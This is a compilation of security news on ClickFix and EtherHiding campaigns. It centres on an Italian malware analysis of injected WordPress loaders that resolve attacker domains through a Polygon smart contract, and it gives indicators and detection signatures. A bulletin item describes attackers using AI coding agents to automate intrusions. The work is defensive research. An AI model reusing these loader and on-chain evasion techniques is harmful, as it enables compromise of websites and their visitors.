EtherHiding

ClickFix attacks are surging as cybercriminals use fake AI installers, malicious search results, and trusted chatbot platforms to trick users into executing malware. Push Security examines how these attacks evade traditional defenses and why AI tools have become increasingly effective lures. [...]

Unit 42 details how threat actors leverage Web3 infrastructure and open-source supply chain attacks to breach enterprise cloud environments The post Evolution of Web3 in Cloud Supply Chain Attacks appeared first on Unit 42 .

The Computer Emergency Response Team of Ukraine (CERT-UA) has identified more than 100 compromised websites that have been injected with malicious JavaScript to serve an information-stealing malware called LunexStealer (aka Psychedelic Stealer). The activity, which was observed by the agency in September 2026, has been attributed to a threat cluster dubbed UAC-0277. It did not disclose who the

A new type of ClickFix attack is using compromised websites to trick users into executing a malicious payload cached in a web browser's cache. "Instead of downloading and executing remote payloads like the typical attack pattern, in this attack, the websites pre-fetch a script payload into the browser cache disguised as a PNG file," the Microsoft Threat Intelligence team said in a post on X.

This week, the useful words are boring ones: inspect, cache, compile, store, trust. Each sounds harmless. Each can become an attack path when a system does a little more than people expect. A model check can run code. A cache can mix up requests. A public secret can stay useful for years. That is the lesson running through the list. Attackers do not always need a brilliant new trick. They can

Threat actors are abusing ChatGPT Custom GPTs to disguise them as legitimate product offerings and direct unsuspecting victims to malicious sites that employ ClickFix lures to deliver malware. Huntress, which observed the activity in late September 2026, said it marks the abuse of yet another feature in trusted artificial intelligence (AI) platforms. Prior campaigns have weaponized shared

ClickFix has become the most common way attackers get into enterprise networks, and it does it without an exploit, an attachment, or a file on disk. Our new global threat report traces the technique from a novelty in late 2023 to a subscription product with on-chain infrastructure and a state-sponsored user base, and explains why blocking malicious domains is no longer a useful defense. Read

A malicious npm package named "indexed-btree" has been observed hiding its malicious behavior within application code rather than using lifecycle scripts, indicating that threat actors are likely shifting tactics in response to recent security controls. "Indexed-btree is a malicious npm package mimicking the legit sorted-btree package, an ordinary B-tree/indexing utility," Checkmarx said. "

Sekoia said Exvicy, a new ClickFix MaaS framework, reused code from rival service ErrTraffic

Negli ultimi giorni stavo cercando campagne attive da analizzare per la mia attività di threat research. L’obiettivo era trovare qualcosa che fosse ancora osservabile e che mi permettesse di lavorare direttamente sulle evidenze, senza limitarmi a riprendere indicatori già pubblicati in altri report. Tra i risultati che stavo controllando mi sono imbattuto in destinationweddinglazio.com, un sito WordPress italiano che compariva associato a indicatori ClearFake ed EtherHiding. Ho deciso di partire da lì. Introduzione La prima verifica l’ho fatta in sandbox, utilizzando un ambiente Windows con Chrome. In questa fase non avevo ancora un’ipotesi particolare: volevo soprattutto capire se l’attività segnalata fosse ancora presente e raccogliere abbastanza traffico da poterla ricostruire. Il sito veniva caricato normalmente, ma durante la navigazione il browser iniziava a contattare diversi endpoint RPC. La sandbox associava parte dell’attività a ClickFix, TerminalFix ed EtherHiding. Tra il traffico comparivano richieste verso Polygon. Una delle prime che ho controllato era diretta a à rpc.ankr.com/polygon Non è stata particolarmente utile perché Ankr ha restituito un errore relativo all’autorizzazione API. Poco dopo, però, ho trovato una richiesta simile verso QuickNode che era andata a buon fine. La risposta conteneva questa stringa: A quel punto sapevo che il browser stava ottenendo un dominio attraverso una richiesta RPC, ma non ancora esattamente da quale parte del codice partisse quella richiesta. Ho quindi acquisito l’HTML restituito dal sito e ho iniziato a lavorare sul JavaScript. Il codice presente nel primo sito All’interno della pagina era presente JavaScript offuscato. Il primo livello utilizzava Base64 e una trasformazione XOR; il risultato veniva poi ricostruito con TextDecoder ed eseguito attraverso new Function. Nel campione che avevo acquisito la chiave XOR era 202. Tolto questo primo livello, sono comparsi nel codice gli stessi endpoint che avevo visto nel traffico della sandbox: Il fatto che fossero otto mi ha fatto inizialmente pensare a una semplice lista di alternative. Guardando meglio il codice, però, c’era effettivamente una gestione degli errori che permetteva al loader di provare il provider successivo. Questo spiegava anche quello che avevo visto nella sandbox: Ankr aveva risposto con un errore, ma l’esecuzione non si era fermata. Il codice continuava provando un altro RPC. Ogni tentativo aveva inoltre un timeout di circa cinque secondi. Se il provider non forniva una risposta utilizzabile, la funzione passava ricorsivamente al successivo. A questo punto sono tornato alla richiesta JSON-RPC che avevo catturato. Il browser stava effettuando una normale eth_call. Il contratto interrogato era Cercando questo selector nella ricerca pubblica esistente sono arrivato a precedenti analisi che lo documentavano come getDomain(). Questo mi ha aiutato a mettere in ordine quello che stavo vedendo. Il loader non conteneva direttamente fingerprint-veri[.]info. Conteneva invece il contratto e le istruzioni necessarie per interrogarlo. La risposta dello smart contract veniva trattata come una stringa ABI, decodificata dal JavaScript e successivamente utilizzata per costruire lo stage seguente. Il dominio che avevo trovato nel traffico della sandbox proveniva quindi da lì. Cosa succedeva dopo Una volta ottenuto il dominio, il codice creava dinamicamente un nuovo elemento <script>. L’URL aveva una struttura simile a questa Potrebbe avere una funzione legata al caching o alla freshness delle richieste, ma non avendo visibilità sul backend non posso stabilirlo. Nel codice posso vedere come viene generato; non posso vedere come viene interpretato dal server. Lo stesso discorso valeva per s . In questa prima fase non sapevo cosa rappresentasse quella stringa. Poteva essere un identificatore della campagna, del sito, di una configurazione o qualcos’altro. Me la sono semplicemente segnata e ho continuato. È stato utile non attribuirle subito un significato perché, più avanti, l’ipotesi più immediata si è rivelata poco convincente. Cercare lo stesso comportamento altrove Una volta ricostruito il loader del primo sito ho iniziato a cercare altre osservazioni che condividessero gli stessi elementi. Non mi interessava trovare necessariamente lo stesso JavaScript. Avevo già abbastanza elementi per aspettarmi che alcuni dettagli potessero cambiare. Mi sono concentrato soprattutto su contratto, selector, utilizzo degli RPC Polygon e struttura della richiesta verso /api.php. Durante questa fase è comparso edih4dt.it . Il sito mi ha attirato l’attenzione per il contesto: EDIH4DT è un European Digital Innovation Hub italiano orientato alla trasformazione digitale sicura della Pubblica Amministrazione . Non ho però dato per scontato che il codice fosse lo stesso. Ho acquisito separatamente l’HTML restituito dal sito e ho ricominciato l’analisi. EDIH4DT La prima cosa evidente nell’HTML di EDIH4DT era la presenza ripetuta del marker à <!– wpmbchik –> Nel campione che ho conservato ne ho contate 24 occorrenze . Non erano concentrate tutte nello stesso punto della pagina. Il pattern compariva in più parti dell’HTML restituito insieme al codice JavaScript offuscato. Ho estratto uno dei blocchi e iniziato a rimuovere l’offuscamento. La struttura ricordava immediatamente quella del primo sito: Base64, XOR, TextDecoder, new Function. Il codice, però, non era identico. La chiave XOR era 36, contro 202 osservato su Destination Wedding Lazio. Cambiavano anche i nomi utilizzati internamente e il guard che impediva esecuzioni multiple. Sul campione EDIH4DT compariva à _85b267f2a3 Anche l’ordine degli RPC era differente. Sul primo sito avevo trovato Ankr come terzo provider e QuickNode come quarto. Su EDIH4DT la sequenza era stata modificata e QuickNode compariva più avanti. Continuando a deoffuscare, però, sono arrivato alla parte che mi interessava. Il contratto era à 0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2 Il selector à 0xb68d1809 Gli endpoint RPC erano ancora otto. Era presente la stessa logica di fallback. La risposta veniva nuovamente decodificata come stringa ABI e il risultato utilizzato per creare uno script con à /api.php?s=…&_v=… Questa volta il valore di s era à a3946e3ded820e3d2f02885bf63c8a3a176d58bb9403b402 Quindi non avevo trovato una copia dello stesso script. Avevo trovato un secondo loader con differenze abbastanza evidenti a livello superficiale, ma con lo stesso funzionamento sotto. Verifica in sandbox A questo punto volevo verificare che il comportamento ricostruito staticamente fosse effettivamente quello eseguito dal browser. Ho quindi analizzato EDIH4DT anche in sandbox. Nel traffico ho trovato la richiesta RPC che stavo cercando: La risposta, una volta decodificata, portava ancora a à https://fingerprint-veri[.]info Questo eliminava almeno un dubbio: non stavo correlando i due siti soltanto perché avevano qualche stringa in comune. Durante le mie osservazioni entrambi interrogavano lo stesso contratto con lo stesso selector e ottenevano lo stesso dominio. Il percorso osservato su EDIH4DT era quindi, in termini molto semplici: Cosa dimostra e cosa no Sul caso EDIH4DT credo sia importante delimitare bene il risultato. Quello che ho verificato è la presenza di codice JavaScript malevolo nel sito web pubblico e la relativa catena di comunicazione . Non ho elementi per sostenere che siano stati compromessi sistemi interni del CINI, infrastrutture dei partner di EDIH4DT, sistemi della Pubblica Amministrazione, account o dati personali . Non ho nemmeno provato a verificarlo. L’analisi è rimasta sul contenuto pubblicamente accessibile e sull’esecuzione in ambiente sandbox. Non ho effettuato exploitation, scansioni invasive o tentativi di accesso all’infrastruttura server-side. Questa limitazione è importante anche per quello che viene dopo, perché alcune delle domande più interessanti non possono essere risolte guardando soltanto ciò che WordPress restituisce al browser. Tornare al parametro s A questo punto avevo due valori differenti di s. La prima interpretazione che ho considerato era abbastanza semplice: una chiave diversa per ogni vittima. Ho quindi iniziato a cercare il secondo valore in osservazioni precedenti. Mi aspettavo eventualmente di trovare altre acquisizioni di EDIH4DT. Invece sono comparsi siti completamente differenti. Ho verificato la presenza dello stesso valore in osservazioni pubbliche relative, tra gli altri, a: lesprosdurelevage.com klrassociates.com seedworks.com.ng sageinsurancebrokers.com cambodiaflashnews.com Le osservazioni erano distribuite tra luglio e agosto 2026, quindi precedenti alla mia analisi di settembre. Inoltre il dominio downstream non era sempre fingerprint-veri[.]info. In alcune osservazioni comparivano infrastrutture differenti, tra cui domini con nomi legati a verifica/autenticazione. Quindi l’idea che a394… identificasse EDIH4DT non funzionava. La stessa chiave sopravviveva a vittime diverse e a cambi del dominio utilizzato più avanti nella catena. Ho trovato anche un altro valore, che inizia con 8402…, con un comportamento simile. In almeno un’analisi relativa a seedworks.com.ng comparivano entrambi. Questo rende ancora più difficile interpretare s come semplice identificatore univoco del sito. Nel report avevo bisogno di chiamare queste stringhe in qualche modo e ho usato Persistent Delivery Key , o PDK. È soltanto un’etichetta di lavoro. Non conosco il nome utilizzato da chi gestisce l’infrastruttura e, soprattutto, non conosco l’esatta semantica server-side del parametro. Nell’articolo preferisco quindi parlare semplicemente di chiave di delivery quando possibile. Il parametro d Continuando a seguire le osservazioni pubbliche dello stesso cluster ho trovato anche richieste con una struttura leggermente diversa à /api.php?k=<chiave>&d=<dato> In almeno uno dei campioni relativi a Seedworks è stato possibile ricostruire dal valore trasportato in d una struttura contenente campi come: Questo è abbastanza per dire che, almeno in quella variante, il parametro veniva utilizzato per trasferire informazioni relative al client o alla sessione. Non ho però ottenuto lo stesso risultato su ogni valore d incontrato. Per questo non considero corretto descriverlo genericamente come “JSON Base64”, perché potrebbe essere vero soltanto per alcune varianti. La cosa che mi interessava era un’altra: dopo aver recuperato la configurazione attraverso Polygon, il loader poteva comunicare al backend informazioni sull’ambiente che stava visitando il sito. Questo è coerente con un’infrastruttura che effettua una forma di selezione o qualificazione del traffico. Quale sia esattamente la logica utilizzata dal server non posso saperlo dall’esterno. Confronto con quello che era già stato pubblicato Arrivato a questo punto ho iniziato a confrontare in maniera più sistematica quello che avevo trovato con le ricerche già disponibili. Era importante farlo anche per capire quale parte del lavoro fosse effettivamente nuova. Il concetto di EtherHiding non lo è. L’utilizzo di Polygon come livello di configurazione non lo è. Nemmeno il contratto e il selector che avevo trovato erano completamente nuovi. FileScan ha documentato la stessa coppia contratto/selector e il relativo modello di risoluzione. Altre ricerche hanno analizzato loader con otto RPC, offuscamento JavaScript e richieste /api.php?s=…. Report URI ha osservato lo stesso contratto in altri contesti e, a inizio settembre, un dominio molto simile ma distinto da quello che stavo vedendo io à fingerprint-verification[.]info che non va confuso con à fingerprint-veri[.]info osservato nelle mie esecuzioni. eSentire ha pubblicato analisi sull’ecosistema ErrTraffic , descrivendo compromissioni WordPress, JavaScript offuscato, utilizzo di Polygon e un modello di delivery molto vicino a quello che stavo ricostruendo. Altre ricerche pubbliche collegano parti dell’infrastruttura e del tooling a un soggetto indicato come LenAI . Queste fonti mi hanno permesso di dare un contesto migliore ai campioni, ma ho cercato di non usarle per estendere automaticamente le conclusioni. Ad esempio, se un’altra ricerca osserva un determinato RAT alla fine di una catena simile, non significa che lo stesso RAT sia stato consegnato durante la mia visita a EDIH4DT. Allo stesso modo, se una ricerca attribuisce lo sviluppo di un toolkit a LenAI, non significa che LenAI sia necessariamente la persona che ha compromesso i WordPress che ho analizzato. Sono cose diverse. Nel mio caso considero molto solida la corrispondenza con l’ecosistema ErrTraffic/BW-style. Non ho invece evidenze sufficienti per identificare l’operatore che ha compromesso i singoli siti. Una terza osservazione Durante la ricerca ho analizzato anche unitranscond.com. Il sito mostrava nuovamente lo stesso contratto, lo stesso selector e lo stesso downstream durante l’esecuzione in sandbox. Non ho però raccolto su questa vittima lo stesso livello di materiale statico che ho conservato per Destination Wedding Lazio ed EDIH4DT. Per questo non la considero allo stesso livello dei due casi principali. È utile come ulteriore osservazione del cluster, ma non voglio trasformare un’evidenza secondaria nella terza colonna dell’analisi solo per rendere il dataset più grande. I due casi sui quali posso fare il confronto più completo rimangono quelli per cui ho HTML originale, deoffuscazione e osservazione dinamica. La domanda che rimane: come è entrato il codice? Dopo aver ricostruito il loader ho iniziato inevitabilmente a guardare anche la superficie WordPress di EDIH4DT. Il sito utilizza il tema Roneous . Tra le risorse pubblicamente visibili ho identificato inoltre: WPBakery 7.7.2 Slider Revolution 6.7.13 Contact Form 7 6.0.3 DFlip Lite 2.3.57 WPBakery 7.7.2 e Slider Revolution 6.7.13 coincidono con versioni distribuite in un periodo storico del bundle Roneous. Questo rende plausibile che il sito utilizzi una release non recente del tema, ma non permette di stabilire con certezza la versione installata. Roneous è inoltre interessato da vulnerabilità pubblicamente documentate. Tra queste c’è CVE-2025-69177 , relativa a versioni vulnerabili del tema. Naturalmente ho considerato la possibilità che ci fosse un collegamento. Ma qui mi sono fermato. Dal fatto che un sito utilizzi Roneous e che Roneous abbia una vulnerabilità non segue che quella vulnerabilità sia stata utilizzata per compromettere il sito. Per dimostrarlo servirebbero almeno la versione effettiva installata, log del web server, file modificati, informazioni sul database o altri elementi forensi. Non li ho. Quindi nel mio materiale Roneous rimane una pista da verificare , non la spiegazione dell’incidente. Il vettore iniziale rimane sconosciuto. E le 24 copie di wpmbchik? Anche questo è un punto sul quale è facile andare oltre quello che i dati permettono. Sul campione HTML di EDIH4DT ho verificato 24 occorrenze del marker. Sono abbastanza da far pensare che l’iniezione non sia semplicemente una singola stringa aggiunta manualmente a una pagina. Il codice compare in differenti regioni dell’output WordPress. Ma dal browser vedo il risultato finale del rendering, non la sorgente della persistenza. Non posso dire se il codice risieda nel database, nei file del tema, in un plugin, in un mu-plugin o in un altro componente. Alcune ricerche su ErrTraffic hanno documentato specifici metodi di persistenza WordPress in altri incidenti. Sono ottimi elementi da cercare durante un’analisi forense. Non sono però automaticamente applicabili a EDIH4DT. Cosa rimane stabile nei due loader A questo punto sono tornato ai due campioni iniziali per capire cosa avesse realmente senso usare come indicatore. Le differenze erano: Quindi una firma costruita sulla chiave XOR sarebbe già stata poco utile. Lo stesso vale per i nomi delle variabili, per il guard e per l’hash dell’intero blocco. Quello che invece non cambiava era: eth_call 0xb68d1809 0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2 RPC Polygon multipli fallback tra provider decoding ABI /api.php?s= È da qui che ho iniziato a costruire la parte di detection. Una regola sperimentale sul contenuto JavaScript può, ad esempio, richiedere contemporaneamente eth_call, b68d1809, /api.php?s= e la presenza di almeno due RPC Polygon appartenenti alla lista osservata. Un’altra possibilità è cercare direttamente la combinazione contratto + selector nelle chiamate eth_call. Sul contenuto WordPress wpmbchik può essere un ulteriore marker, soprattutto quando compare insieme a atob, TextDecoder e new Function. Quello che eviterei è trattare gli RPC come domini malevoli. QuickNode, Ankr, PublicNode e gli altri servizi coinvolti sono provider legittimi. Il dato interessante non è à host contacted QuickNode ma qualcosa più vicino a È una sequenza molto più difficile da confondere con il normale utilizzo di un singolo provider RPC. Perché Polygon rende comoda questa architettura Una volta capito il funzionamento, il vantaggio operativo è abbastanza evidente. Supponiamo che oggi il contratto restituisca à fingerprint-veri[.]info e che domani quel dominio venga sospeso. Se il dominio fosse scritto direttamente nei JavaScript già iniettati, sarebbe necessario aggiornare i siti compromessi o mantenere un altro meccanismo di redirect. Con il resolver on-chain, invece, la configurazione può essere aggiornata in un punto separato. Il loader presente sul WordPress continua a fare quello che faceva prima: interroga il contratto e utilizza quello che riceve. È anche il motivo per cui considero più utile descrivere Polygon come livello di configurazione/indirezione piuttosto che dire semplicemente che “il malware è sulla blockchain”. Nel codice che ho analizzato la blockchain non contiene il payload finale. Fornisce al loader l’informazione necessaria a trovare l’infrastruttura successiva. Dove mi sono fermato L’11 settembre ho deciso di congelare la raccolta. A quel punto avevo: gli HTML originali dei due casi principali; i relativi hash; i loader deoffuscati; le richieste RPC osservate dinamicamente; il contratto e il selector; il dominio restituito durante le esecuzioni; le chiavi utilizzate dai loader; osservazioni precedenti delle stesse chiavi; una timeline dell’infrastruttura; abbastanza materiale per confrontare staticamente i due loader. Avrei potuto continuare a cercare altri siti. Probabilmente ne avrei trovati altri. Ma il numero di vittime non avrebbe risposto alle domande che a quel punto mi interessavano maggiormente. Non so come sia avvenuto l’accesso iniziale. Non so dove risieda la persistenza sul server. Non conosco la semantica esatta delle chiavi passate a s. Non conosco la logica completa utilizzata dal backend per qualificare il traffico. E non ho attribuito un payload finale alle visite che ho analizzato. Per rispondere seriamente almeno alle prime due domande servirebbe la collaborazione di chi gestisce i sistemi coinvolti. Continuare dall’esterno avrebbe rischiato di produrre soprattutto ipotesi. Segnalazione Una volta congelata la ricerca ho iniziato a contattare i soggetti interessati. Ho segnalato il caso EDIH4DT attraverso i contatti disponibili e ho preparato un pacchetto tecnico contenente le evidenze raccolte. Le evidenze sono state trasmesse a CERT-AgID . L’11 settembre CERT-AgID mi ha comunicato di aver censito le campagne malevole segnalate e di aver diramato i relativi Indicatori di Compromissione agli enti accreditati al proprio flusso IoC. La responsible disclosure verso i soggetti direttamente interessati rimane in corso. Ho inoltre cercato di raggiungere il CINI per individuare un referente tecnico al quale far arrivare direttamente la segnalazione. Al momento in cui sto scrivendo questa parte, il processo di segnalazione è ancora in corso. Per questo motivo mantengo separato il materiale utilizzato per la gestione dell’incidente — HTML originali, artefatti completi e altri dettagli — da ciò che può essere pubblicato. Se avrò modo di confrontarmi con chi gestisce il server, le prime cose che vorrei verificare sono molto semplici: da dove è partita l’iniezione e dove viene mantenuto il codice che continua a comparire nell’HTML . Sono le due parti dell’incidente che, lavorando soltanto dall’esterno, non posso vedere. Per ora quello che posso documentare direttamente è il resto: due siti WordPress italiani, due varianti differenti del loader, lo stesso contratto Polygon, lo stesso selector e, durante le osservazioni, lo stesso dominio restituito dal resolver. Ed è su queste evidenze che preferisco fermare le conclusioni. L'articolo Siti italiani compromessi! Ecco il malware che si nasconde nella blockchain proviene da Red Hot Cyber .

Attackers keep finding new keys. The funny part is that defenders keep inventing where to store them. This week, those keys sit in AI tools, exposed services, old bugs, weak logins, and software sold like a monthly subscription. Some attacks use new tricks. Others just reuse what was already lying around. Both work often enough. So the threat landscape is not getting cleaner. It is just

Gli esperti di sicurezza informatica di Netskope hanno rilevato una vasta campagna malevola in cui gli attaccanti utilizzano oltre 5400 siti web compromessi per diffondere payload ClickFix . Il codice malevolo è memorizzato ne i contratti intelligenti di BNB Smart Chain (BSC) , il che complica notevolmente il blocco dell’infrastruttura degli hacker . Secondo le informazioni ottenute dai ricercatori , la maggior parte dei siti compromessi funzionano attraverso WordPress e PrestaShop e appartengono a piccole aziende. Tuttavia, non è ancora noto come gli attaccanti ottengano l’accesso iniziale a tali risorse. Su ogni sito compromesso, gli hacker inseriscono uno script che si collega agli endpoint RPC di BSC Testnet e quindi ottengono dal contratto intelligente i dati per la fase successiva dell’attacco. Questa tecnica di attacco è nota come EtherHiding , e implica che gli attaccanti posizionano il codice malevolo o le configurazioni nei contratti intelligenti su una blockchain pubblica. Grazie ai principi di funzionamento della blockchain, EtherHiding garantisce anonimato, resistenza al blocco e permette agli attaccanti di aggiornare i payload. Inoltre, il recupero del payload può avvenire tramite chiamate read-only che non lasciano una traccia visibile di transazioni, aggiungendo ulteriore segretezza al processo. Nella catena analizzata dagli esperti di Netskope, lo script caricato dal sito compromesso mostra ai visitatori un falso CAPTCHA. All’utente viene proposto di aprire la finestra “Esegui” in Windows e inserire lì un comando PowerShell. Se la vittima segue le istruzioni, il comando scarica ed esegue il payload finale . Inoltre, BSC Testnet è destinata agli sviluppatori e funziona quasi come la rete principale BSC, ma l’uso della rete di test è gratuito. Poiché il payload è memorizzato nel contratto intelligente, gli operatori della campagna possono cambiarlo in qualsiasi momento. In particolare, i ricercatori hanno notato che il payload ClickFix è stato sostituito da uno stager che utilizza WebRTC per la trasmissione dei dati. Lo stager apre un canale di comunicazione WebRTC crittografato con l’infrastruttura degli attaccanti, ma evita il handshake tradizionale. Normalmente, una parte forma una proposta per stabilire la connessione, la invia all’altra parte e riceve una risposta. In questo caso, lo script genera sia la proposta che la risposta, e poi le trasmette localmente alla connessione creata. Di conseguenza, lo scambio di dati con gli attaccanti inizia senza un handshake WebRTC completo. Successivamente, lo stager riceve un codice JavaScript da un indirizzo C2 predefinito, lo memorizza temporaneamente e lo esegue dopo la chiusura del canale o dopo 10 secondi. Il codice viene compilato direttamente nella memoria del browser e viene eseguito dinamicamente aggiungendolo all’elemento head del DOM, quindi nulla viene scritto sul disco della macchina della vittima. Nel complesso, durante il periodo di osservazione, i ricercatori hanno identificato oltre 5400 siti web compromessi coinvolti in questa campagna , e l’attività degli attaccanti è in aumento. Ad esempio, ad agosto 2026, sono stati osservati quasi 400 siti web compromessi al giorno, con un picco massimo di 536. Per la protezione, gli esperti raccomandano di bloccare l’intero pool di endpoint RPC di BSC Testnet , nonché di monitorare il traffico UDP non standard associato a WebRTC. L'articolo Quel CAPTCHA potrebbe rubarti il PC! 5.400 siti sono già infetti proviene da Red Hot Cyber .

A lot of this week’s security news has the same awkward answer to one question: “Why was that allowed to work?” An extension asks for access and takes too much. A trusted service becomes part of a phishing chain. An old bug still gets results. An exposed system stays exposed. A package looks useful right up until it isn’t. Different stories, same basic problem: the path in was often already there. Nothing here needed magic. Mostly access, trust, weak edges, and someone willing to keep poking. That’s the week. The threats change every week. Subscribe, and we’ll alert you when each new ThreatsDay Bulletin is out. Malicious extensions steal crypto dataA set of four malicious Google Chrome and Mozilla Firefox extensions has been found to target Axiom Trade and Padre users to steal session tokens and wallet data. The extensions are J7Tracker (Chrome), VREO (Chrome and Firefox), and Orbit Tracker (Firefox). While the first three contain the same Axiom and Padre collection module, the fourth implements a different collector but targets the same data, while retaining some artifacts from J7Tracker. "The module is byte-identical across all three analyzed extensions. It automatically retrieves authenticated user information, wallet-related bundle data, Firebase access tokens, and application state, then sends the information to threat actor-controlled Vercel deployments," Socket said. The same Chrome publisher has been traced back to two earlier extensions, GhostApe and GhostApe Color, impersonating the MockApe trading add-on. AI agents automate cyber intrusionsA Chinese-speaking operator has been observed using Anthropic Claude Code, Alibaba Qwen, and DeepSeek to automate intrusions against government and financial systems in Afghanistan, Thailand, Taiwan, and the U.S. Some of the targets included Taiwan's Kuomintang Party History Archives, Indonesia's Ministry of Foreign Affairs, government and education systems in mainland China, and industrial hosts in Da Nang, Vietnam. The attacker is said to have used SecFlow, an AI orchestration framework, to convert "campaign objectives into tasks for specialized AI agents" and supply them with tools, target information, shared storage, and network routes, Hunt.io said, adding the tool "split reconnaissance, exploitation, collection, and reporting among specialist workers." Some of the vulnerabilities exploited by the threat actor are Shellshock, Spring4Shell, Ghostcat, Shiro deserialization, Log4Shell, Grafana and Nexus path traversals, and a Nacos authentication bypass. The exploitation is followed by the deployment of web shells, which are generated through a dedicated GLUTTON capability, and used to facilitate follow-on actions, like reconnaissance, privilege escalation, credential theft, and custom implant deployment. One such backdoor is SecBox, a Go-based remote-access and network-pivot framework. Details of the campaign first came to light in July 2026. Shadow AI exposes sensitive dataThe U.K.'s National Cyber Security Center (NCSC) has warned that employees using unapproved AI tools can expose sensitive corporate data and create security risks that organizations may struggle to detect and manage. "Providing shadow AI access to company or customer data likely increases the risk of data breaches, intellectual property loss and failure to meet regulatory requirements," NCSC said. "Employees who transfer sensitive or proprietary information to consumer AI services will likely reduce the organization's visibility and control over that information. AI agents are complex pieces of software that can have critical security vulnerabilities. If an attacker successfully exploits a vulnerability, they can gain access to the same data, services, and privileges that the agent has legitimate access to." Fake M&A deals drive wire fraudAttackers are masquerading as executives and tricking targets in legal teams into moving conversations to WhatsApp and personal email with an aim to initiate international wire transfers using forged acquisition documents as part of a merger and acquisition scam. "The attackers presented the acquisition as a tightly controlled transaction coordinated by a reputable adviser, with only a small group involved and an announcement approaching fast," Gen Digital said. "The organizations and professions varied. The targets included senior people in private equity, industrial finance, sales, mining and energy. For each of them, an acquisition or strategic investment narrative would have been credible enough to justify initial engagement. Despite the different branding, the documents followed substantially the same sequence of sections and reused the same legal language. They all imposed confidentiality, directed communications towards WhatsApp and personal email, and introduced a short period between the NDA date and the supposed public announcement." Windows adds privacy-preserving age checksMicrosoft is adding new age-awareness APIs called the Windows Age API to Windows 11 that will allow apps to determine whether a user is a child, teenager, or adult without exposing their exact date of birth. "Apps receive only the age-related signal needed for the experience and not sensitive personal data such as full date of birth," Microsoft said. "By making age awareness available as a platform capability, Windows helps developers build safeguards into experiences from the start rather than placing the burden on children and families to manage protections app by app." 119K domains power fake shopsA massive operation dubbed DoppelCart is using more than 119,000 domains to run a network of fake e-commerce shops that steal payment card details. The sites mimic legitimate businesses by copying product catalogs, descriptions, branding, and images, sometimes even loading assets directly from the real company's servers. In all, the shops mimic 44,182 different brands, with a median of two clones for each. "Each copies a real brand's photos and page text, then undercuts its prices," Netby said. "Each also republishes the brand's own support address, so the people who get charged complain to the brand, not the shop." Chrome accelerates security releasesGoogle has officially shifted to a two-week cadence for major Chrome milestones, with weekly security updates, in response to a shifting cybersecurity landscape in the AI era. The shift is driven by LLM-assisted vulnerability discovery approaches, which have increased the volume of patches and updates across the software ecosystem. "While this dramatic change in software security brought about by LLMs might be startling, an increase in bugs found and fixed is not a sign of failure," Google said. "Every bug found and fixed is one less foothold for an attacker. But discovering and fixing a bug is only half the battle — we must also ship the fix and apply the update for users faster than adversaries can exploit the bug." The idea, therefore, is to shrink the window between pushing a fix in a public codebase and getting that fix to end users before it can be exploited. A shorter release cycle would reduce the patch gap – the time frame between when a security vulnerability is known and when it gets addressed. Google moved to a four-week release cycle for Chrome in 2021, down from six weeks. Similar moves have been adopted by other browser makers like Microsoft, Mozilla, and Brave. 200 Android flaws patchedGoogle has released patches for 200 vulnerabilities as part of the September 2026 Android security updates. This includes a number of critical and high-severity vulnerabilities, including those that could allow attackers to remotely execute code without user interaction. One of the flaws worth highlighting is CVE-2026-28662, a critical Wi-Fi-related bug that could potentially allow an attacker to achieve remote code execution. "Most concerning from this list is CVE-2026-28662 because it's a Wi-Fi-related memory corruption flaw," Adam Boynton, enterprise strategy manager at Jamf, said. "If left unpatched, it could enable attackers to execute code remotely, without any additional privileges or user interaction, potentially allowing privilege escalation. This vulnerability will only continue to pose a risk if devices are left unpatched. It's crucial that organizations issue the updates across their device fleet as soon as possible." Singpass scheme tied to 170 victimsSingapore police officials have arrested two male Chinese Malaysians, aged 25 and 47, for their alleged involvement in a coordinated scheme that compromised the Singpass accounts of Singapore citizens and work permit holders. "Investigations revealed that the two men were employees of a mobile phone shop located in Singapore," authorities said. "They allegedly exploited opportunities arising from their work to access customers' Singpass accounts. In one such occasion, when a customer was purchasing a new SIM card, one of the men allegedly offered to help update the mobile number linked to the customer's Singpass account, before using this opportunity to create a LiquidPay account without the customer's knowledge." Investigations have uncovered over 170 Singapore citizens and foreign workers whose Singpass accounts were linked to the same activity. The fraudulent Singpass accounts were then used to register for more than 160 additional LiquidPay accounts. Email breach fuels wallet phishingCryptocurrency hardware wallet maker Trezor has warned customers to be on the lookout for phishing attacks after its third-party email provider Brevo was breached. The incident impacted 120 Brevo accounts, including Trezor's. "Please be aware that the email named 'Critical Security Alert: STM32 Entropy Vulnerability' is not coming from us, and it's a phishing attempt," it said. Do not click on any link. The incident affected our opt-in newsletter database, roughly 347,000 email addresses. These addresses might be potentially used for other phishing attacks in the future." The Brevo account has been suspended to prevent the threat actors from abusing it to send phishing emails. The phishing email sent from the account contained a malicious link that instructed users to download an app that asked them to enter their wallet backup. The domain has since been taken down. 33K+ Plex servers remain exposedData from the Shadowserver Foundation shows that there are over 33,800 exposed Plex servers susceptible to recently disclosed vulnerabilities, down from a high of 37,467 on September 5, 2026. Nearly 20,000 instances are located in North America. EtherRAT chain ends in ransomwareAn attack campaign that installs EtherRAT via a malicious MSI installer masquerading as a Sysinternals tool has been found to deliver an AI-generated malware framework called TukTuk and GoTo Resolve. Using the access provided by the remote access software, the threat actor is said to have successfully exfiltrated data to a cloud service and deployed The Gentlemen ransomware. "TukTuk can use Arweave as a dead-drop resolver," the DFIR Report said. "In this mode, the implant queries the Arweave blockchain for a specific Drive-Id, then retrieves an encrypted configuration blob. That blob contains the credential pool for all supported C2 transports. After execution of TukTuk, the threat actor began hands-on-keyboard activity, Kerberoasting operations, and credential discovery targeting administrative accounts. Next, the threat actor leveraged compromised service account credentials to deploy GoTo Resolve remote management tooling laterally across multiple systems, including servers and domain controllers." CISA refreshes insider threat guidanceThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) has released an updated version of its Insider Threat Mitigation Guide to highlight the "growing impact insider threats have on critical infrastructure, the dynamic and evolving operational landscape, and provide new use cases to help organizations address new challenges." Some of the key updates relate to emerging workplace trends such as increased hybrid and remote work, the use of AI for manipulation and deception, access control, and visitor screening. AI abuse leads to 15-year sentenceJames Strahler II, 37, of Columbus, has been sentenced in the U.S. to 15 years in prison for using both real and AI-generated sexually explicit images and intimidating victims with threats of violence. "Strahler had installed more than 24 AI platforms and more than 100 AI web-based models on his phone," the Justice Department said. "The defendant used telephone calls, voicemails, text messages and web postings to engage in a campaign of harassment against his victims. From December 2024 until June 2025, Strahler sent harassing messages to at least 